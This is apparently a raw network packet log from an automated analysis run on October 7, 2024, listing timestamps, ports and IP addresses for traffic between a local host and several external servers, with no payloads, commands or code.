Oct 7, 2024 03:23:19.700404882 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700421095 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700443029 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700443983 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700455904 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700465918 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700479031 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700479984 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700491905 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700491905 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700503111 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700512886 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700524092 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700551987 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700579882 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700592041 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700604916 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700629950 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700654984 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700659990 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700671911 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700684071 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700695038 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700709105 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700717926 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700722933 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700728893 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700745106 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700753927 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700777054 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700783968 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700795889 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700800896 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700829029 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700841904 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700843096 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700866938 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700890064 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.700948954 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700961113 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700972080 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700984001 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700995922 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.700999022 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.701008081 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.701020956 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.701030970 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.701057911 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.739682913 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.739707947 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.739720106 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.739759922 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.739774942 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.739787102 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.739789963 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.739801884 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.739811897 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.739816904 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.739828110 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.739830971 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.739835024 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.739842892 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.739855051 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.739855051 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.739861965 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.739881039 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.739891052 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.739896059 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.739902973 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.739913940 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.739926100 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.739933014 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.739943027 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.739945889 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.739950895 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.739969015 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.739979029 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.739980936 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.739993095 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.740005970 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.740015984 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.740020037 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.740026951 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.740032911 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.740040064 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.740050077 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.740055084 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.740060091 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.740062952 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.740087032 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.740093946 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.746678114 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.746701956 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.746712923 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.746723890 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.746747971 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.746759892 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.746773005 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.746783018 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.746793032 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.746798992 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.746813059 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.746819973 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.746841908 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.746901989 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.746921062 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.746934891 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.746944904 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.746947050 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.746959925 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.746965885 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.746973038 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.746974945 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.746984959 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.746998072 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.747020960 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.747060061 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.747071981 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.747082949 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.747097015 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.747102976 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.747114897 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.747128963 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.747128963 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.747138977 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.747159958 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.747165918 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.747184038 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.747205973 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.747231960 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.766942024 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.767216921 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.767287970 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.768893003 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.769002914 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.769041061 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.769073963 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.769112110 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.775438070 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.775470972 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.775474072 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.775486946 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.775494099 CEST	49890	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.775496960 CEST	49891	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.775502920 CEST	443	49891	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.775507927 CEST	443	49890	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.778470993 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.778556108 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.778604031 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.778640985 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.778721094 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.778853893 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.778853893 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.778886080 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.778893948 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.778920889 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.783035994 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.783101082 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.783118010 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.783169985 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.783196926 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.783221006 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.783355951 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.783373117 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.783417940 CEST	49889	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.783428907 CEST	443	49889	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.783732891 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.783776045 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.783823967 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.783832073 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.783838987 CEST	49888	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.783850908 CEST	443	49888	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.786266088 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.786282063 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.786412001 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.786602020 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.786616087 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.786727905 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.786753893 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.787581921 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787592888 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787602901 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787635088 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787645102 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787656069 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.787658930 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.787666082 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787676096 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.787708998 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787708998 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.787723064 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787740946 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787753105 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787759066 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.787764072 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787776947 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787780046 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.787795067 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787801027 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:19.787805080 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.787807941 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787817955 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787825108 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:19.787832022 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.787838936 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787848949 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787852049 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.787861109 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787870884 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787884951 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787890911 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.787899017 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787908077 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.787909985 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787920952 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787923098 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.787946939 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.787962914 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787969112 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.787974119 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787987947 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.787992001 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.787998915 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.788007975 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.788012028 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.788022995 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.788039923 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.788068056 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.788078070 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.788089991 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.788109064 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.788122892 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.788692951 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.788703918 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.788749933 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.788760900 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.788795948 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.788803101 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.788813114 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.788840055 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.788851023 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.788918972 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.788929939 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.788940907 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.788952112 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.788963079 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.788976908 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.788984060 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.788995981 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789004087 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789005995 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789017916 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789020061 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789037943 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789047003 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789050102 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789061069 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789071083 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789073944 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789093018 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789097071 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789103985 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789114952 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789120913 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789130926 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789139986 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789141893 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789153099 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789165020 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789186001 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789206982 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789225101 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789237976 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789247990 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789256096 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789258957 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789269924 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789294958 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789335966 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789346933 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789356947 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789369106 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789380074 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789387941 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789387941 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789417028 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789432049 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789443016 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789462090 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789468050 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789474010 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789486885 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789486885 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789499044 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789505959 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789515972 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789524078 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789535999 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789541960 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789554119 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789563894 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789572001 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789575100 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789585114 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.789593935 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789622068 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.789629936 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.791677952 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.802501917 CEST	443	49893	184.28.90.27	192.168.2.4
Oct 7, 2024 03:23:19.802592039 CEST	49893	443	192.168.2.4	184.28.90.27
Oct 7, 2024 03:23:19.804348946 CEST	49893	443	192.168.2.4	184.28.90.27
Oct 7, 2024 03:23:19.804367065 CEST	443	49893	184.28.90.27	192.168.2.4
Oct 7, 2024 03:23:19.804778099 CEST	443	49893	184.28.90.27	192.168.2.4
Oct 7, 2024 03:23:19.828361034 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828383923 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828397036 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828449011 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828452110 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.828461885 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828473091 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828485966 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.828500032 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.828501940 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828514099 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828524113 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828524113 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.828536987 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828541994 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.828547955 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.828567028 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.828579903 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:19.828594923 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:19.828614950 CEST	80	49879	185.215.113.103	192.168.2.4
